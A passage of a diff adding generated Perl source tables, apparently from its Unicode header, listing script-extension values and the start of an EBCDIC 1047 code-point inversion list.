+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Imperial_Aramaic,
+	SCX_Unknown,
+	SCX_Imperial_Aramaic,
+	SCX_Palmyrene,
+	SCX_Nabataean,
+	SCX_Unknown,
+	SCX_Nabataean,
+	SCX_Unknown,
+	SCX_Hatran,
+	SCX_Unknown,
+	SCX_Hatran,
+	SCX_Unknown,
+	SCX_Hatran,
+	SCX_Phoenician,
+	SCX_Unknown,
+	SCX_Phoenician,
+	SCX_Lydian,
+	SCX_Unknown,
+	SCX_Lydian,
+	SCX_Unknown,
+	SCX_Meroitic_Hieroglyphs,
+	SCX_Meroitic_Cursive,
+	SCX_Unknown,
+	SCX_Meroitic_Cursive,
+	SCX_Unknown,
+	SCX_Meroitic_Cursive,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Old_South_Arabian,
+	SCX_Old_North_Arabian,
+	SCX_Unknown,
+	SCX_Manichaean,
+	SCX_Unknown,
+	SCX_Manichaean,
+	SCX_Unknown,
+	SCX_Avestan,
+	SCX_Unknown,
+	SCX_Avestan,
+	SCX_Inscriptional_Parthian,
+	SCX_Unknown,
+	SCX_Inscriptional_Parthian,
+	SCX_Inscriptional_Pahlavi,
+	SCX_Unknown,
+	SCX_Inscriptional_Pahlavi,
+	SCX_Psalter_Pahlavi,
+	SCX_Unknown,
+	SCX_Psalter_Pahlavi,
+	SCX_Unknown,
+	SCX_Psalter_Pahlavi,
+	SCX_Unknown,
+	SCX_Old_Turkic,
+	SCX_Unknown,
+	SCX_Old_Hungarian,
+	SCX_Unknown,
+	SCX_Old_Hungarian,
+	SCX_Unknown,
+	SCX_Old_Hungarian,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Brahmi,
+	SCX_Unknown,
+	SCX_Brahmi,
+	SCX_Unknown,
+	SCX_Brahmi,
+	SCX_Kaithi,
+	SCX_Unknown,
+	SCX_Sora_Sompeng,
+	SCX_Unknown,
+	SCX_Sora_Sompeng,
+	SCX_Unknown,
+	SCX_Chakma,
+	SCX_Unknown,
+	SCX_Chakma,
+	SCX_Unknown,
+	SCX_Mahajani,
+	SCX_Unknown,
+	SCX_Sharada,
+	SCX_Unknown,
+	SCX_Sharada,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Khojki,
+	SCX_Unknown,
+	SCX_Khojki,
+	SCX_Unknown,
+	SCX_Multani,
+	SCX_Unknown,
+	SCX_Multani,
+	SCX_Unknown,
+	SCX_Multani,
+	SCX_Unknown,
+	SCX_Multani,
+	SCX_Unknown,
+	SCX_Multani,
+	SCX_Unknown,
+	SCX_Khudawadi,
+	SCX_Unknown,
+	SCX_Khudawadi,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_use_AUX_TABLE_18,
+	SCX_Grantha,
+	SCX_use_AUX_TABLE_18,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_18,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Newa,
+	SCX_Unknown,
+	SCX_Newa,
+	SCX_Unknown,
+	SCX_Newa,
+	SCX_Unknown,
+	SCX_Tirhuta,
+	SCX_Unknown,
+	SCX_Tirhuta,
+	SCX_Unknown,
+	SCX_Siddham,
+	SCX_Unknown,
+	SCX_Siddham,
+	SCX_Unknown,
+	SCX_Modi,
+	SCX_Unknown,
+	SCX_Modi,
+	SCX_Unknown,
+	SCX_Mongolian,
+	SCX_Unknown,
+	SCX_Takri,
+	SCX_Unknown,
+	SCX_Takri,
+	SCX_Unknown,
+	SCX_Ahom,
+	SCX_Unknown,
+	SCX_Ahom,
+	SCX_Unknown,
+	SCX_Ahom,
+	SCX_Unknown,
+	SCX_Warang_Citi,
+	SCX_Unknown,
+	SCX_Warang_Citi,
+	SCX_Unknown,
+	SCX_Zanabazar_Square,
+	SCX_Unknown,
+	SCX_Soyombo,
+	SCX_Unknown,
+	SCX_Soyombo,
+	SCX_Unknown,
+	SCX_Soyombo,
+	SCX_Unknown,
+	SCX_Pau_Cin_Hau,
+	SCX_Unknown,
+	SCX_Bhaiksuki,
+	SCX_Unknown,
+	SCX_Bhaiksuki,
+	SCX_Unknown,
+	SCX_Bhaiksuki,
+	SCX_Unknown,
+	SCX_Bhaiksuki,
+	SCX_Unknown,
+	SCX_Marchen,
+	SCX_Unknown,
+	SCX_Marchen,
+	SCX_Unknown,
+	SCX_Marchen,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Cuneiform,
+	SCX_Unknown,
+	SCX_Cuneiform,
+	SCX_Unknown,
+	SCX_Cuneiform,
+	SCX_Unknown,
+	SCX_Cuneiform,
+	SCX_Unknown,
+	SCX_Egyptian_Hieroglyphs,
+	SCX_Unknown,
+	SCX_Anatolian_Hieroglyphs,
+	SCX_Unknown,
+	SCX_Bamum,
+	SCX_Unknown,
+	SCX_Mro,
+	SCX_Unknown,
+	SCX_Mro,
+	SCX_Unknown,
+	SCX_Mro,
+	SCX_Unknown,
+	SCX_Bassa_Vah,
+	SCX_Unknown,
+	SCX_Bassa_Vah,
+	SCX_Unknown,
+	SCX_Pahawh_Hmong,
+	SCX_Unknown,
+	SCX_Pahawh_Hmong,
+	SCX_Unknown,
+	SCX_Pahawh_Hmong,
+	SCX_Unknown,
+	SCX_Pahawh_Hmong,
+	SCX_Unknown,
+	SCX_Pahawh_Hmong,
+	SCX_Unknown,
+	SCX_Miao,
+	SCX_Unknown,
+	SCX_Miao,
+	SCX_Unknown,
+	SCX_Miao,
+	SCX_Unknown,
+	SCX_Tangut,
+	SCX_Nushu,
+	SCX_Unknown,
+	SCX_Tangut,
+	SCX_Unknown,
+	SCX_Tangut,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_35,
+	SCX_Unknown,
+	SCX_Nushu,
+	SCX_Unknown,
+	SCX_Duployan,
+	SCX_Unknown,
+	SCX_Duployan,
+	SCX_Unknown,
+	SCX_Duployan,
+	SCX_Unknown,
+	SCX_Duployan,
+	SCX_Unknown,
+	SCX_Duployan,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_SignWriting,
+	SCX_Unknown,
+	SCX_SignWriting,
+	SCX_Unknown,
+	SCX_SignWriting,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Mende_Kikakui,
+	SCX_Unknown,
+	SCX_Mende_Kikakui,
+	SCX_Unknown,
+	SCX_Adlam,
+	SCX_Unknown,
+	SCX_Adlam,
+	SCX_Unknown,
+	SCX_Adlam,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_use_AUX_TABLE_35,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_Unknown
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#endif	/* defined(PERL_IN_REGEXEC_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV _Perl_SCX_invlist[] = { /* for EBCDIC 1047 */
+	1606,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x2EA,
+	0x2EC,
+	0x300,
+	0x342,
+	0x343,
+	0x345,
+	0x346,
+	0x363,
+	0x370,
+	0x374,
+	0x375,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x384,
+	0x385,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3E2,
+	0x3F0,
+	0x400,
+	0x483,
+	0x484,
+	0x485,
+	0x487,
+	0x488,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58A,
+	0x58B,
+	0x58D,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x605,
+	0x606,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61D,
+	0x61E,
+	0x61F,
+	0x620,
+	0x640,
+	0x641,
+	0x64B,
+	0x656,
+	0x660,
+	0x66A,
+	0x670,
+	0x671,
+	0x6DD,
+	0x6DE,
+	0x700,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x750,
+	0x780,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x900,
+	0x951,
+	0x952,
+	0x953,
+	0x964,
+	0x965,
+	0x966,
+	0x970,
+	0x980,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9F0,
+	0x9FE,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA70,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF2,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAA,
+	0xBAB,
+	0xBAE,
+	0xBB5,
+	0xBB6,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF3,
+	0xBFB,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC80,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD50,
+	0xD54,
+	0xD64,
+	0xD66,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE40,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFD5,
+	0xFD9,
+	0xFDB,
+	0x1000,
+	0x1040,
+	0x104A,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1100,
+	0x1200,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x1680,
+	0x169D,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1735,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x1802,
+	0x1804,
+	0x1805,
+	0x1806,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x19E0,
+	0x1A00,
+	0x1A1C,
+	0x1A1E,
+	0x1A20,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BC0,
+	0x1BF4,
+	0x1BFC,
+	0x1C00,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C50,
+	0x1C80,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CD1,
+	0x1CD2,
+	0x1CD4,
+	0x1CD7,
+	0x1CD8,
+	0x1CD9,
+	0x1CDA,
+	0x1CDB,
+	0x1CDC,
+	0x1CDE,
+	0x1CE0,
+	0x1CE1,
+	0x1CF2,
+	0x1CF5,
+	0x1CF6,
+	0x1CF7,
+	0x1CF8,
+	0x1CFA,
+	0x1D00,
+	0x1D26,
+	0x1D2B,
+	0x1D2C,
+	0x1D5D,
+	0x1D62,
+	0x1D66,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1DBF,
+	0x1DC2,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x200C,
+	0x200E,
+	0x2065,
+	0x2066,
+	0x2071,
+	0x2072,
+	0x2074,
+	0x207F,
+	0x2080,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20C0,
+	0x20D0,
+	0x20F0,
+	0x20F1,
+	0x2100,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2800,
+	0x2900,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2C80,
+	0x2CF4,
+	0x2CF9,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E00,
+	0x2E43,
+	0x2E44,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3001,
+	0x3003,
+	0x3004,
+	0x3005,
+	0x3008,
+	0x3012,
+	0x3013,
+	0x3014,
+	0x301C,
+	0x3020,
+	0x3021,
+	0x302A,
+	0x302E,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303C,
+	0x303E,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x30FD,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31A0,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3260,
+	0x327F,
+	0x3280,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x32D0,
+	0x32FF,
+	0x3300,
+	0x3358,
+	0x3371,
+	0x337B,
+	0x3380,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x4DB6,
+	0x4DC0,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA500,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA670,
+	0xA6A0,
+	0xA6F8,
+	0xA700,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA800,
+	0xA82C,
+	0xA830,
+	0xA836,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C6,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8F1,
+	0xA8F2,
+	0xA8F3,
+	0xA8F4,
+	0xA8FE,
+	0xA900,
+	0xA92E,
+	0xA92F,
+	0xA930,
+	0xA954,
+	0xA95F,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9D0,
+	0xA9DA,
+	0xA9DE,
+	0xA9E0,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAA60,
+	0xAA80,
+	0xAAC3,
+	0xAADB,
+	0xAAE0,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB65,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
